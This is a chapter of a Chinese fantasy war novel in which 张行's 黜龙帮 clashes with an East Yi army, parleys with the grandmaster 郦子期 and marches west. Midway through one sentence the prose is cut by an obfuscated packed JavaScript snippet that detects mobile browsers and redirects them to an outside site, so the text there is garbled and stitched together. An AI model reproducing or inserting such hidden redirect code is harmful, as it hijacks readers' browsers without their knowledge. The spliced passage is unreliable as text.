“黜龙贼主力马上就到,但不要紧,咱们的主力也在后面,此战胜负就在谁更快谁更狠!无须顾虑,速速出击,抢占营盘!” 军令既下,那排头小校即刻兴奋折返。 而余义慈也再度回头吩咐:“飞马去唤大都督来,只要他来,占住营盘,此战便如潮水滔滔,势不可挡了。” 言迄,前方已经交战……或者说,随着余义慈部的陆战排头军杀入前方黜龙帮军营,零散的黜龙军几乎是一触即溃,拖着那面“高”字大旗便往后方营寨中心逃去。 余义慈表情怪异,在马上探着脖子来看,似乎既有些期待,又有些嘲讽,还有些警惕之态……毕竟,那白娘子一路过五关斩了**将,兵锋之锐着实让人心惊,想来这黜龙贼自有些能耐,如何这般不堪一击? 正想着呢,随着排头军数百人涌入当面第一个营寨,忽然间,一声梆子响,后方营寨边缘的石垒之后立起来许多黜龙军军士,各自持弓,然后箭飞如雨,顷刻间便将突入其中的排头军射的七零八落……第一轮箭雨下来,这些排头军虽然有了明显损伤,却居然不惧,反而加速冲锋,但是紧接着,第二轮箭雨又来,配合上在地上哀嚎的伤员,便明显迟滞了这些排头军,而待第三轮箭雨又明显齐射出来,这些人再不能忍,直接仓促逃窜,连伤员都来不及带走几个,留在那里被趁势追出来的黜龙军就地刺死刺死。 “上盾,接应部队,轮换突击!”余义慈眼见如此,只是嗤笑一声,然后便迅速下令。 数量足足是排头军两倍,刚刚抵达此地的五六百披甲持盾武士立即涌出,在各自军官的带领下分成五队,或是循门,或是翻过矮垒,轻易便再度冲入当面的这个小营盘。 然而,守在营内的黜龙军不甘示弱,他们不再放箭,反而是在主将旗帜的摇动下蜂拥而出,就在营盘内,顺着营垒走向结阵,居然全都是铁甲**兵。 然后甫一结阵完毕,便以一百五十人一队的建制,主动反向朝着涌入营中的东夷盾刀兵冲锋而来。 余义慈看到这一幕,终于是仰头大笑,然后在已经渐渐稀疏的细雨中回头来言:“诸位,这黜龙贼四五年扫荡了几十个郡,隐隐然东齐规制,今日一见也算是盛名之下无虚士……这样好了,金副将往后走,见到后军便告诉他们绕行去抢占营寨其余各处空虚之地,此地我亲自上阵,务必要生擒当面之贼!” 旁边金副将便来劝:“这当面之贼,怎么算也不过是黜龙帮一营之兵罢了,为首者不过是一个领两千兵寻常头领,余将军身份贵重,何必亲自冒险?” 余义慈摆手来笑:“金副将,你不要瞧不起人,这当面之黜龙贼挂着高字旗,不问自知,定是东齐皇族、环渤海皆有的高氏……如何能小瞧人家?再说了,此人以一营之兵留后大营,却被我们大军水路突袭,寻常人早逃了,他却能临危不乱,调度有序,足堪称名将了,自然也值得我走一遭。” 说完,径直打马向前,周边精锐亲卫纷纷随从,而随着其人向前,身前身后长生真气涌出,**在身侧,竟然有足有吻,有翅有体,隐隐化作了一只浓绿色的大鸟模样,然后昂首挺胸向前推去。 周围亲卫见状愈发欢呼不止,蜂拥随从,后方副将也下令击鼓助威。 其实,若是张行在此,必然要惊愕的,他理解以真气化为动物的表达方式,尤其是长生真气,徐世英身上就经常缠着一只绿色**蛇嘛……但是,绿色的龙他能理解,绿色的蛇他也能理解,可是一只绿色的、昂首挺胸大公鸡? 是不是有点怪异? 当然了,这只是张行不同于他人的怪异审美,此时此刻,营中留守的高士通在一个人工小坡上遥遥见到这一幕,心中非但没有半点滑稽之意,反而震动……因为对方这个威风凛凛的绿油油大公鸡走过来,便不是个半步宗师,也是徐大郎那般的天纵之才了。 一念至此,其人叹了口气,扭头先看向一人:“齐……曹先生。” 今日其实一度随军出营,但还是早早转回营内的曹铭被叫的浑身不自在,还是只能应声:“高大头领尽管吩咐。” “战事凶险,本该以你以为使者请援兵一举两得才对,但是现在东夷人凶淫,没有你襄助,我真不敢说能对付这位长生雄鸡,还请你待会助我一臂之力。”高士通言辞恳切。 曹铭还能如何,只能硬着头皮点头:“高大头领放心,也不必疑我,我拼了命也要回去见我母我子的。” 这倒是个无可辩驳的理由。 见到曹铭应许,高士通方才再度转身来告身侧一名准备将,言语则加快了许多:“高秉,东夷人凶淫,我跟曹先生不得不上去拼命,现在你走一趟,这次一定要亲自见到张首席,让他速速加快派遣援兵。” 那准备将闻言居然直接跪地叩首,方才转身寻了战马从大营东北面离开。 而目送着自己侄子离去,高士通方才来看周围的准备将与三位队将:“诸位,事情撞上来了,咱们不能不拼,支撑一时半刻,援军马上就到。” 众军官不敢怠慢,纷纷出列拱手称是,曹铭也不尴不尬的站起来,还无奈接过了一个铁裲裆挂在身上。 披挂完备,高士通也不再废话,使起平生之真气,鼓出来一个真气团团来,便自领着几位准备将与三队**兵,从另一个土垒隔断的营中而出,饶过正在陷入混战的小营,去袭东夷军之侧后。 至于曹铭,却只藏身其中,并不直接显露出来。 且不说高士通如何奋战,另一边,高士通的侄子高秉不过刚刚出了营地,行不过两里路,便已经遇到了一营兵马,却居然是王伏贝部……而其人不免有些犹豫……一方面,身为高士通的侄子,他当然亲身经历过河北战事,而彼时王伏贝是官军,他和他叔叔则是被迫放弃河北去登州的义军,双方是有过阵战之仇的;另一方面,他也晓得王伏贝这次是被接应的疲敝之军,刚刚与那些流民分离而已。 不过,停了片刻,其人还是主动往王伏贝旗下去了。 “何事?”此时雨水稍停,王伏贝见到来人面熟,也未多想,只是张口来问。 “王头领,前方大营内东夷人攻势急促,我正要寻首席求援,你部若是远来疲敝,可以避开大营,往正西面稍驻。”高秉一言出口,便不再理会,而是死命抽马,往已经有些泥泞的盐碱地上奔驰而走。 王伏贝目送对方离去,过了足足数息方才反应过来,此人好像是当日在河北被自己杀了两个义兄弟的高秉,不由微微皱眉。 高秉继续疾驰,又不过两刻钟便寻到了那面红底的“黜”字大旗,然后见到了已经骑到马上的张首席……很显然,只看周围人的神色就知道,前方战事的消息已经传来,而且引发了不少人的担忧。 听完前方军情汇报,雄伯南首先忍耐不住,立即拱手请战:“首席,高大头领在帮内威望卓著,不能有闪失,我先走一遭如何?” “当然。”张行立即点头,却也抬手止住对方。“不过我有两句话速速的说一说……” “请首席下令。” “不是下令,而是提醒。”张行认真道。“天王,咱们这一次来的根本是要把人带回去,不是作战,更不是要跟东夷人拼的你死我活……所以,之前尝试先行打垮王元德那路兵马我是认可的,然后拒绝在那楼船下交战我也是认可的,刚刚知道东夷人抢营却不着急让部队扑上,我还是认可的……这不是跟着大家随风倒,而是这些举措其实一直都在避战,马分管他们是知道这次事情要害的。而天王先到前面迎战,心里也要有底,咱们的根本在河北,然后是北地,不该在这里过多损兵折将。” 雄伯南立即点头:“首席说的这般清楚,我如何不晓得?既是来作接应的,总不能接应出来了五个营,又赔了十个营……” “关键是也不能示弱。”雨水已停,沿途赶路,身体本来就虚的马围脸上都是汗,却抢过了插了句嘴。“最好是避免损失的同时把战力和实力露出来!” 雄伯南再度颔首,却是直接从秦宝手里接了那面大旗腾空而去了。 那高秉在内,见到雄伯南卷起紫色烟云,几乎人人松了一口气……毕竟,之前战事开启,几乎人人色变,都担心那郦子期直接过来,以大宗师的身份强行占据营寨,而若营寨被夺,今夜黜龙军便无立身之地了。 非只如此,张首席虽然现在说的清楚无误,让人放下心来,但之前作态,却好像是因为许久未见白三娘,满脑子发昏,只顾着牵手,完全没有承担起责任一般。 如何能让人安心? “得给天王立一杆自己的大旗了。”张行远远望着那团消失在西南面的紫色云烟,思绪一如既往的与众不同。 众人都没有回过劲来,只有白有思与秦宝点了下头。 就这样,大队继续前行,丝毫不管前方营盘处双方不约而同来了一场类似于添油加火之态势。 而待到主力抵达营寨前时,却发现营盘南面、西面、东面都有交战,而且乱成一锅粥,只有营盘上空雄伯南时不时执大旗往来各处支援,早早看的清楚。 众人不敢怠慢,簇拥张行上了一处小坡,借着远处乌云缝隙里的光芒来做观望,这个时候才大略分辨了一下之前留守与陆续抵达的各营位置——高士通、徐师仁、马平儿、王雄诞四营都在营内各处交战,明显是处于守势,营外则是刘黑榥全营、曹晨半营骑兵侧翼绕后,但效果极差,也明显是在收着打……除此之外,居然还有王伏贝?! 张行将目光从那只绿油油的大公鸡身上收回,落在了营盘西南侧的一处阵地上,不由诧异:“王伏贝如何这般深入敌阵?” “首席。”马围立即提出建议。“此战首尾就在王伏贝!即刻发精兵自外围打通敌阵,联结王伏贝,同时驱重兵入营挤压敌军,那么东夷人不想被分割包围的话,就只能撤军!” 白有思便要动身,王叔勇也要动作,却被张行拦住:“不急……郦子期为什么没来?” 自王叔勇以下,众将面面相觑,皆不能答。 还是马围,咬牙来对:“要么是郦子期自己不愿意来,要么是身后有兵马咬过来了,他要先处置那一边!” “贾务根与李子达?”王叔勇立即意识到马围在说什么。 “应该是。” “那该如何?” “救是来不及了。”马围立即给出答案。“这个是从他们水军海上登陆就没办法的事情,真要想救,就是在这里把东夷人打疼!” “说的不错。”张行点头认可。 “那我去!”王叔勇立即请战,而白有思这一次没有吭声。 “你要入营,从正面压过去,然后与天王一起接管全营。”张行抬手一指。“务必把那只攻的最猛的绿公鸡撵出去!” 王叔勇立即点头,却没有立即动身,他还要知道自己能调度的有谁,而哪些人又来负责绕后切入。 “那我去做绕后。”秦宝继续来做请战。 “可以。”张行再三点头认可。“但还是要等一等。” 众人一时不解。 “要等刘大头领与曹头领。”马围赶紧提醒。 果然,片刻后刘黑榥卷着黑乎乎的弱水真气从空中扑来,一落地后溅了一身泥水,身上披红带绿全都一片黑褐色,他也不在意,只是大喊:“首席!本就是盐碱地水洼子多,又下了半日雨,地面上还被踩踏,泥泞的厉害,骑兵过不去!而且这股东夷人确实厉害,兵厉害,将也厉害,跟我们有的拼!怪不得东夷人能撑过三征!” 张行听到这里,回头相顾众人,即刻来言:“诸位,不能耽误时间了,这么办吧,我随二郎一起入阵,引骑兵突进去!” 众人各自一愣,随即是马围先反应过来:“首席,不如入营起大阵!” 莽金刚也来劝:“首席,入营之后我们兄弟藏在阵中,什么都能挡。” “不值得。”张行摆手。“十七个营,四个营被隔绝,五个营疲惫不堪,偏偏还有七八万俘虏、流民在侧后方赶路,咱们还要阻击、断后,对方还有大宗师没有露面……现在起了大阵是方便,怕只怕后续无力。” 其他几人反应过来,也要来劝,却不料,白有思先行开口:“既如此,我也随你走一遭,断不会让你出事。” 张行点头,其余人皆不好言语,更兼战事紧张,便各自认可。 须臾片刻,马围分派妥当,乃是秦宝率部分准备将以及几营临时调度出来的精锐,在刘黑榥部掩护下发起突击,张行与白有思亲自掩藏其中;王振、钱唐引军去支援曹晨做另一侧疑兵;而王叔勇率领剩余所有部队涌入营中,正面挤压这支东夷主力;十三金刚也入营,却都藏在莽金刚营内,引而不发。 而且计划即刻得到了执行。 时间来到现在,已经临近傍晚,一日小雨早已经消失不见,取而代之的,乃是西面照射出的一抹光亮……而就在这一抹光亮之下,两军士卒那带着一些水渍的甲胄,尤其是干净头盔和上半身,全都被映射出了丝丝金光,丝丝金光汇集在一起,在头顶乌云的压迫下,显得格外瞩目。 前线喊杀声中,黜龙帮抵达的主力大军轰然启动,无数东夷水师步卒都去看东北面的这一团反光,然后看着其中绝大多数部众都往正在陷入肉搏战的营垒区而来,也是一时心神激荡。 但也只是激荡,并没有什么畏怯。 这支可能是东夷人最精锐的一支部队,展示出了极强的纪律性和傲气,原本稍占优势的他们见到对方主力尽数赶到战场,非但没有惊骇,反而战意大增,片刻之后,更是群情振奋,在各层高级、中级军官的带领下发动反扑。 双方步兵主力,就要在满是土垒、石垒的营盘西南部发生全力碰撞。 而也就是这个时候,东夷军中几名修为较高的军官似乎察觉到了什么,他们纷纷看向了营地的正西面方向,然后就发现,那个披挂夸张的刘姓贼将也在重整本部骑兵,试图再图发起攻击。 这似乎没什么,这个时候这厮要是不来反而奇怪,而且来了也不妨,一下午都过不来,此时凭什么来? 然而,这几位军官的脸色却越来越难看。 非只如此,很快,便是偶尔抬头或者占据一些高处的东夷军士也察觉到了一点异常——那就是雾气和寒气。 刚刚下完雨的盐碱地,距离海岸几十里的地方,八月底还算适宜的温度,夕阳光芒之下,寒气既出,雾气几乎是肉眼可见的弥漫起来,而且这雾气还在以一种难以理解的方式迅速扩大并移动起来。 很快,就仿佛一团裹在雾气中的骑兵在绕侧突击一般。 过沼泽,如履平地。 那只绿油油大公鸡第一个反应过来:“告诉各部,不要轻易后撤!现在各部尽量脱战,往我这里猬集,然后全军结成厚阵!大都督必然会来接应,到时候与大都督做呼应,不管是退还是进,都会立于不败之地!” 看的出,这余义慈在军中威望颇高,而且确系对战场局势把握清楚,此时振臂一呼,亲卫发了疯一般往四面去召唤友军,居然起了些效果。 但还是有些来不及,甚至连后撤都来不及。 那支骑兵,前锋处白雾奔腾,宛若龙首吞云吐雾,身后近千骑尾随,宛若龙身,偏偏白雾所过,地面僵硬,水洼冰封,骑兵踏过,铿锵阵阵,宛若战鼓隆隆,立即就以一种步兵难以企及的战术速度完成包抄。 紧接着,这团白雾在稍微一拐后便直截了当的朝着当面的一个东夷军裹了过去。 真的是裹了过去。 雾气所过,伴随着哀嚎声与喊杀声和刀剑甲胄相交声以及马蹄隆隆声,当面之东夷人的甲士集群,仿佛被白雾吞掉一掉,又好像只是被不真实的什么面团包裹住一般,然后就被裹进去了,吞进去了,融进去了……反正白雾过后,好像就似凭空消失了一般。 余义慈双目圆睁,看着这一幕,没有过度的愤怒,也没有过度的不安,经历过三征的他见识过太多类似的场面了,甚至见过更极端的……他只是有些懊丧,为什么没有更早一点意识到,除了天上那面紫色大旗,对方必然至少还有一位与那白娘子类似的强悍人物,然后提前收拢部队。 但也仅此而已。 因为郦子期还在,这一战没那么简单。 正想着呢,更让他无力的事情也顺理成章的发生了——那股白雾如龙似虎,吞裹军阵,须臾便已经切过外围东胜**阵,杀到那攻的最狠,陷的最深的王伏贝部跟前,打破了半包围的局面,并反过来切割出了一部东胜国精锐,形成了反包围。 不过此时,最起码王伏贝部上下是没有意识到后一点的,他们只看到大股骑兵轻易便击穿了地震与自家汇合,却是欢呼雷动,宛若得胜。 非只如此,欢呼声顺势从身后营垒处传开,黜龙军全军各部也都渐次随之鼓动起来,仿佛已经全胜。 余义慈口感舌燥,赶紧撤了身上真气,便要继续下令,让部队主动往战场西面挤压过去。 结果,刚一开口,忽然心中莫名一惊,其人转过头来,正见一支被淡金色断江真气包裹,以至于在夕阳下显得刺眼的长槊般巨大箭矢迎面射来……便要躲避。 但几乎是一瞬间,余义慈便也察觉到,这一箭威力异常,却射歪了。 于是乎,其人目送那支箭矢射入旁边数十步外的军阵,当场切掉数明甲士肢体……尚未说什么做什么,复又一惊,再回头看时已经来不及。 原来,那一箭之后,居然还跟着一箭! 前者真气过于充盈,宛若马槊般长短大小,后者也是断江真气包裹,却只如一剑长短,半臂粗细,借着前者掩护,居然正中来不及躲避且刚刚撤去那绿色大公鸡的余义慈大腿。 这位东夷名族当主,哀嚎一声,落下马来,几乎引得东夷军全军震动。 王伏贝军阵处,白色雾气迅速向外围扩展,反倒是内里干净起来,而这个时候,骑在黄骠马上的张行似乎察觉到了什么,和白有思一起勒马向西南侧看了一眼,然后二人又对视一眼。 晓得是怎么回事的张首席不再犹豫,身上寒冰真气愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168000|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发浓烈同时,反而有心情转身指着王伏贝遥遥来笑:“王头领,如何这般不计生死?” “回禀首席。”王伏贝身上的弱水真气仿佛火焰一般跳动不止,闻言放声来答。“王某本是降人,若非首席与白总管收留,早就是跟着滩中枯骨一般了,而首席与总管却视我为臂膀,若要报答,却只有这份勇力了!” 张行一看对方这个样子,就知道是杀的红眼了,所以口不择言……刚要安抚一二,又忽然觉得一股心悸,晓得那人已来,却是闭口发力,将丹田气海中的真气奋力引出,然后手中长佩之弯刀一卷,便将一股寒冰真气朝着空中察觉的方向腾去。 远远望去,仿佛一条灰白色的龙身自下方雾团中凭空而起一般。 而几乎是与此同时,天空中数十丈之高,数十丈之远的地方,也忽然凭空钻出一条翠蓝色的水龙,却是自上而下……这还不算,灰龙与蓝龙相向而出,居然空中撞了个正着,然后眼见着那灰龙消失不见,蓝龙则整个被涮的僵硬发白,失去了动力和活性,就在空中变成了一巨型冰块,而且几乎是立即便开始解体炸裂。 下方正是王伏贝部与刘黑榥的骑兵,结果连惊呼都来不及,又一只巨大的威凰腾空而起,只在空中一搅便那冰块搅的稀碎,化作水滴下落……或者说,远处的人根本看不到这个冰化水的过程,只是两龙相交之后,威凰一起,便漫天华彩,夕阳下更是忽的就冒出了一条彩虹出来。 如此天象奇观,竟只是须臾片刻,看的双方军士先是目瞪口呆,继而几乎全都欢呼雀跃起来。 黜龙军是欢呼于自家一方的实力,不倒一年而已,哪怕了雄天王还在营中,居然都可以做出这般宛若神话的操作,而东夷人则是晓得,他们的大都督来了。 而欢呼之后,双方又好像同时振作起来,冲杀也变的更加激烈。 “咱们去会会这位大都督。”张行抬起弯刀指了一个方向。 秦宝会意,雾气再度运动起来,而这一次,当面的东夷人并没有再坚持阵型来做阻挡,而是主动如潮水一般让开道路……不过,即便如此,这支骑兵队伍的头部还是越来越慢。 没办法,越往前去,下面的冰渣就越厚,一开始还是冰渣和冻土,往后就是大面积冰层了。 等越过了对方军阵,骑兵已经是寸步难行了。 于是乎,张行留秦宝在后,自与白有思越阵缓缓打马向前。 而前方百十步处,赫然有一名未及盔甲、只着武士冠的老将骑在一匹几乎算是赤红色战马上,而老将身后,则是一支蓝色披风的黑甲骑兵……骑兵队伍中,还有两个熟人。 夕阳下,双方相对立定,不顾身后刀兵与喊杀声不断与队伍中二人,张行先行开口,却是朝身侧白有思来问:“三娘,前面这位可曾认识,能否做个介绍?” 白有思按了下胯下的寻常战马,不由来笑:“正是当日你排天榜时列的最后一位,东胜国大都督,大宗师郦子期郦公。” 张行点头,回身在黄骠马上朝郦子期拱手:“久仰郦公大名,小子见礼了……时势流转,几位大宗师皆仙去,如今大都督怕是这天下数一数二的了。” 郦子期终于也有了表情,也骑着那匹赤红色战马向前,然后微微一笑:“数一确实做不到,老夫必然不如白娘子的那位恩师……不过,如今在我东胜国地界,便是三一正教的太白峰主亲身过来,老夫也有三分信心的。” 张行点点头:“诚然如此。” 郦子期眯着眼睛,认真打量了一下对方,也点点头:“张三郎也名不虚传……这真气和修为,果然是黑帝爷的点选。” “未曾以此为傲。”张行坦诚相对。“反而有些惶恐。” “这就是了不起的地方了。”郦子期再度颔首,复又看向白有思,眼神复杂。“白娘子也是这般,也了不起……更了不起的是,赤黑二帝的绝代双骄竟能并肩而立。” “确实珍贵。”白有思接口道。“但恕我直言,郦公,天下英雄何其多?便称天骄,若不能聚人心汇集英雄,仅凭刀剑与至尊垂青,又如何能成事?更不要说,天骄也好,英雄也罢,所行所为是为了什么?根底上不还是人心二字吗?难道是为了修成神仙给至尊做侍从吗?” 郦子期沉默片刻,终于缓缓颔首:“说得好,所谓英雄,若不能为人事,又凭什么是英雄?何况天骄?老夫若非是保家卫国,如何能成大宗师?” 张行听着身后刀兵之声,有心要进入正题,却晓得,若是过于操切,反而会有些艰难,便要顺着对方话语再做周旋。 孰料,还是白有思先行接口:“郦公说的也好,当年那巫族的罪龙怕也是这般自我安慰的。” 郦子期一怔,不由来笑:“白娘子区区数月,如何这般伶牙俐齿了?不过,我以为罪龙便是身堕苦海,也是祂心甘情愿的……天下人心如海,我只取这东胜国一瓢来饮。” 张行见到对方气势稍消,便趁势来做质问:“郦公,你既已经许诺放我家三娘西归,如何又要引兵阻拦?还无故伤我兄弟?” 说着,张行指向后方,彼处,有两名黜龙帮的俘虏,一名是苗海浪,另一名是面色惨白,已经明显受伤的贾务根。 “自然是因为白娘子不守信用,沿途打杀我国名将忠军,若不能灭之以示惩戒,国家何以存续?”郦子期当然有理由。“至于这两位,战场之上相见,难道要留手?白娘子也未对高副帅他们留手吧?” “沿途关卡守将自取灭亡,我不信郦公不知。”白有思冷冷相对。 “便是知道又如何?我身为大都督,就不要为他们报仇雪恨了吗?”郦子期依然言之凿凿。 “便是路上有些误会,又何必刀兵相见呢?”张行笑道。“这样好了,郦公放我们回去,包括苗头领与贾头领,也一并让我们带回去,我们愿意将登州往后五年之财帛结余全都送来,以作赔偿……你们可以派员去查账。” 郦子期头也不回,直接笑了出来:“张首席在开玩笑吗?” 张行却忽然敛容:“那就说句不开玩笑的……请郦公退兵,否则咱们也不用挑日子,就指着今日的局面同归于尽便是!” 郦子期陡然色变,但片刻后还是敛容以对:“这一次,老夫绝不可能轻易放过你们。” 张行面色不改:“便是要战,今日局面这般混沌,已经不可能分胜负,只会两败俱伤,何妨今日且退兵,待无辜流民走后,郦公与王元德合兵,咱们就在这野地里,摆开阵势,决一生死?届时,胜者自归,败者就随着滩中许多骨殖一般,食尘陷泥?” 郦子期沉默片刻,缓缓点头:“好,你们若有心,此举可行。” 张行点头,复又指向后方:“那好,我们今日一起退兵,各自收拾伤员……请郦公顺便将这两位兄弟一起与我。” “这不行。”郦子期回头来答。“你那两个营本已经后撤,却又忽然反扑,自后方猛攻我军,伤我军极多,若非如此,我早来此地了结此战了……如何能轻易与你?” 张行便要再劝。 “这样好了,你拿降将刘延寿,还有那位已经应许留在我们东胜国的齐王殿下来换便是。”郦子期提出了一个新的不可能的方案。 “郦公开什么玩笑?”白有思先黑了脸。 “郦公要降将我明白,为何要齐王?”张行倒是一如既往的视角不同。 “因为老夫存着打败你们之后,趁势进取登州的念想。”郦子期坦诚的过分,但其实有点像**。“总得有个说得过去的名分吧……替齐王报父仇如何?” 饶是张行知道对方是在说地狱笑话,也不禁在夕阳照射下于马上仰头大笑了起来。 便是白有思也忍俊不禁,郦子期自己也大笑起来。 “既然不许,那就退兵吧,还请郦公好生照顾我们的伤员。”笑完之后张行提醒对方。“早些退兵,省的无故之伤亡太多。” 郦子期点头,张行与白有思也不再理会,直接要勒马掉头。 但也就是此时,郦子期忽然喊住了其中一人:“白娘子。” 白有思不解回头,却见那东夷大都督主动下马,将那匹赤红色战马往前推了一下:“既是绝代双骄,张三郎自有龙驹,你便是少骑马,也不该骑一匹劣马……这匹赤驹,本就是妖岛过来的,正适合你,而老夫自有龙首楼船,不习惯骑马,正好与你。” 众人都有些意外,但白有思还是主动下马拱手行礼,拜谢了对方,换了那匹赤色龙驹,与张行缓缓归阵。 就这样,暮色落下,两军罢战,各自收兵。 而很快,郦子期就暗呼侥幸,因为连余义慈都被重伤,此时被抬了过来……若是稍晚,后果不堪设想。 双方见面,暮色中的余义慈略显羞惭,却主动开口:“大都督,不要跟黜龙帮作战了,咱们小瞧他们了,真打起来,也只会是两败俱伤。” 郦子期并没有多余反应,只是从容来问:“怎么说?” “黜龙贼已经成势了。”余义慈恳切言道。“我初时来到贼营,遇到是高士通,见他调度从容,兵强敢战,只以为他是黜龙贼里的精锐……结果打到后来,才发现贼军各营一个比一个敢战,高士通的那个营已经是最垫底的了……这让我想到了一征的时候,大魏的官军也是这样,最差的官军也敢战,也不惧生死,装备也齐全,将领也敢用手段。而若是这般想,必是黜龙贼制度已经很完备了,士农工商都有正路,所以从上到下,从将领到军士,都对黜龙帮的前途有预想,所以才会如此,才能如此。” 说到这里,形容激动,扯到大腿伤口,赶紧咬住自己的袍袖,忍耐了过去。 “你说的对。”郦子期叹了口气,伸手度过一些长生真气,方才开口。“我在后面也遇到与你一般的事情……那两个遮护船只的营,见我们登陆包抄,居然不顾一切反扑回来,而我之所以吃亏,乃是因为我有谍报,早晓得这两个头领是怎么回事,一个降人,而且马上要卸了兵权的;另一个干脆是淮右盟的‘上贡’……本以为他们不愿来、不敢来,结果他们还是杀回来了,杀了后军一个措手不及。现在来看,只有你这个说法是对的了,黜龙帮已经有新兴之国的态势了。” 余义慈赶紧来劝:“既如此,何妨退兵?这又不是一征二征的时候关系家国存亡,此时跟他们拼死拼活没有意义。” 郦子期居然面不改色直接点头:“说得对,有道理,但咱们要缓一缓,不能示弱,要成建制缓缓而退,而且要再碰一碰,否则军心会沮丧。” 余义慈自然赶紧点头。 另一边,天色完全黑了下来,张行这边倒也干脆,众人汇集,张行做完情况通报,立即集中大头领开会,说出了自己的方案。 他的方案非常简单,等明日两翼各部兵马全部汇集到一起后,正好俘虏跟流民也错开了,就约定后日或者大后日,也就是月底作战,然后列阵出营,却不做主动交战,而是直接西归登州。 届时兵来将挡水来土掩,大宗师来了,白有思、雄伯南、十三金刚去做应对,真龙来了,部队西行,凝丹以上的人并肩子上便是! 至于两位被俘虏的头领,等回到登州,再从外交方面来做交涉。 这个策略没有人反对,也无从反对。 因为这就是最简单直接的法子……盐碱沼泽地里,可用的水都不多,根本不能在这里多待。 计议既定,接下来的事情非常顺利,因为东夷人没有半点阻碍的意思,好像他们真的被廿七日这场几乎算是棋逢对手的遭遇战给弄懵了,意识到打下去只会是两败俱伤一样,又或者只是在等王元德就位,反正他们只是在黜龙军西南侧三十里靠近海岸的地方立营等候而已。 于是,廿八日,樊氏兄妹上午归营,李子达率两营残部下午归营,少部分伤员护送重伤员离队,黜龙军重新完成集结。 廿九日,王元德也在黜龙军西北侧三十里立营,三军呈一个三角形,黜龙军隐隐被东夷人在归途两侧夹住,但却没有多余应激反应,下午时分,张行还专门派遣程知理、钱唐为使者,带了些礼物去见郦子期,一面是约战于明日,另一面是请求对方释放两位俘虏。 郦子期应许约战,没有应许归还俘虏。 八月三十日当天早上,黜龙军之前三日在盐碱沼泽里取存的水与燃料一起用光,来大举埋锅造饭,而有些阴沉的天空下,三个营地的炊烟几乎是一般粗壮。 接下来,也就是早间“廊下食”,大家一起在营帐前吃饭的时候,张行忽然觉得哪里一晃,不由端着碗诧异来问:“是地震了吗?” 白有思、雄伯南、莽金刚在内,众人纷纷摇头。 张行松了口气,也觉得自己疑神疑鬼。 吃完饭,全军推倒那些土垒,就在营西列阵,张行披挂完毕,出得营寨,却忽然又察觉到了一处奇怪的地方,便指着营垒边缘的一条小溪来问:“雨停了三日,我记得昨日取水都艰难,需要存续,如何今日溪水反而涨起来了?” 秦宝素来晓得张行心意,此时其人径直下马,就捧溪水来饮,然后回头相告:“三哥……首席,这水变咸了。” 张行一怔,旋即望天,只见天空阴沉,云层厚重,映照山泽天海之间,却未见什么怪异之处。 于是,其人强压不安,即刻下令:“全家开拔,向西回家!” 数万将士轰然,便将少许辎重护好,列阵西行。 第四十六章 归来行(12) 这一日,天气跟前几日无二,云层厚实,略显阴沉,偏偏山海天地之间光线始终充足,视野也可以延展。这种天气,加上更早那日的阴雨,似乎就是落龙滩秋日的寻常气候。 只不过,落龙滩这破地方,寻常也没人观察气候,所以是不是寻常也就无从知晓了。 回到眼下,黜龙军大举出动,列阵西归,为了随时投入战斗,前锋多已着甲,中军也都挂上铁裲裆,此时头上光影转动,铠甲兵刃耀眼,层层叠叠,宛若鳞角,旗帜则在风中微微扬动,恰如羽翼,显得气势不凡……实际上,中下层的士气的确非常很高昂,因为所有人都知道是要回家,而且算算距离,也就是这一百多里地,他们自己走过的路难道不知道?至于今日可能要被阻击的讯息也没有动摇士卒,甚至让部分军士跃跃欲试起来,因为那日下午不落下风却又猝然而止的战斗让他们在存有信心的同时甚至还有些遗憾。 不过,这些军士不知道的是,相较于他们的踊跃而言,他们的主帅以及部分高层却只在表面上昂然壮志,内心则明显有些纷扰。 “黑云压城城欲摧,甲光向日金鳞开。”黄骠马上的张行忽然开口,吟诵了两句诗。 “许久未听三郎你吟诗。”白有思抚摸着赤红马的脖颈,若有所思。 “被我那位结义兄长按在石头城外的江水里泡了一夜后,就再难有半点诗兴了。”张行说了句大实话。“不过,今日这诗也不该吟……露怯了。” “确实不该露怯,但也情有可原。”白有思面色如常,却也在说完后也叹了口气。“要用下罗盘吗?” 张行毫不犹豫摇头:“可以用,但不是现在,现在要用了,没有的事情怕也有了……” “我已经用过两次了。”白有思复又提醒。“一见面便说了,你记得吧?” 就在旗下的雄伯南听着这对公母的言语,此时却是终于忍耐不住:“首席与白总管在说什么,我自然是晓得的,不就是还在担心遇到真龙吗?可且不说今日未必就会遇到,便是真遇到了又如何?流民和俘虏已经先三天回去了,现在大军齐心向北,便是事有不济,我们尽力遮护兄弟们狼狈而走便是,连死都难,如何就要这般忧心忡忡?当日被围在漳水畔,外面既有白横秋,又有李枢,也未见首席这般忧虑。” 张行叹了口气,欲言又止。 白有思本想解释,听到白横秋三字,也神思飘忽起来。 倒是秦宝此时插了句嘴,做了解释:“雄总管误会了,三……首席不是怕了今日的局势,而是说他是二征生还者,逃命时又恰好走的是北面山路,当时许多亲旧兄弟都死在了地震里,他对分山君也从此存了私意,素有黜龙之心。而今日他担心的是,真遇到真龙了,却发觉真龙强横无匹,我们非但眼下无法对付,将来也见不到对付真龙的希望,未免沮丧,所以才有忧惧不安之态。” “原来如此!”雄伯南恍过来,反而有些尴尬。“想当日在河堤上初次相见,首席便是背着二征时兄弟的尸首回乡……我竟然忘了。” “倒不怪天王。”张行在马上幽幽以对。“当时我只告诉天王我那兄弟是路上闹了内讧,被想祸害百姓的溃兵下了暗刀子,并未提及分山君,天王这才没往这边想……实际上,当日也是害怕,李枢问的时候也是故意暗示没见到真龙的。” 雄伯南点点头,复又抬头看了看上方飘起来的大旗,不免感慨:“不说什么分山君,说也没用……只说当日河堤上咱们本是三路人,也是各自分道扬镳走了的,如今却走到了一面旗下,真是天命难料,人心难得。” 话到这里,其余几人都有些沉默,俨然是一起想起了当日几人第一次相逢之时。 